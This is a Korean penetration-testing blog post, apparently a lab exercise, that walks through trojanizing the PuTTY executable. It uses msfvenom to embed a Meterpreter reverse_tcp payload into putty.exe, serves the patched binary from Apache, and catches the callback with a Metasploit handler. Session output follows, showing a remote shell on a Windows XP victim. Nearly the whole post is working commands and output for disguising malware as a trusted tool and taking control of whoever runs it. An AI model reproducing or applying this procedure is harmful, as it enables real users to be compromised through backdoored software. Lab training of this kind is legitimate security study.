Linux/모의해킹

putty 실행파일 패치

GGkeeper 2022. 1. 3. 21:26

실습> 실행파일 패치

putty.exe + reverse_tcp -> putty2.exe 

1. putty 업로드
https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html
32-bit x86: putty.exe를 다운로드 받아서 

공격자(Kali Linux)로 putty.exe를 업로드한다.
Attacker# wget https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe

2. putty.exe 패치
putty.exe + reverse_tcp -> putty2.exe 파일을 생성한다.
Attacker# msfvenom -a x86 --platform windows \
-x putty.exe -k -p windows/meterpreter/reverse_tcp \
lhost=192.168.108.102 lport=443 -b "\x00" -f exe -o /var/www/html/putty2.exe


Attakcer# /etc/init.d/apache2 start

Attacker# msfconsole
use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.108.102
set LPORT 443
exploit


3. putty2.exe 다운로드
Victim에서 putty2.exe를 다운로드 받아서 서버로 접속하기 위해서 putty2.exe를 실행한다.
putty2.exe를 실행하면 아래 두 가지로 동작하게 되고 공격자에게 장악당하게 된다.
- putty가 실행된다.
- Attacker로 리버스 커넥션으로 연결된다.
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.108.102:443 
[*] Sending stage (175174 bytes) to 192.168.108.105
[*] Meterpreter session 1 opened (192.168.108.102:443 -> 192.168.108.105:1034 ) at 2022-01-03 07:13:01 -0500

meterpreter > sysinfo
Computer        : VICTIM_WINXP
OS              : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture    : x86
System Language : ko_KR
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter > shell
Process 4068 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\ksw\바탕 화면>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter 로컬 영역 연결:

        Connection-specific DNS Suffix  . : 
        IP Address. . . . . . . . . . . . : 192.168.108.105
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 192.168.108.2

C:\Documents and Settings\ksw\바탕 화면>exit
exit
meterpreter >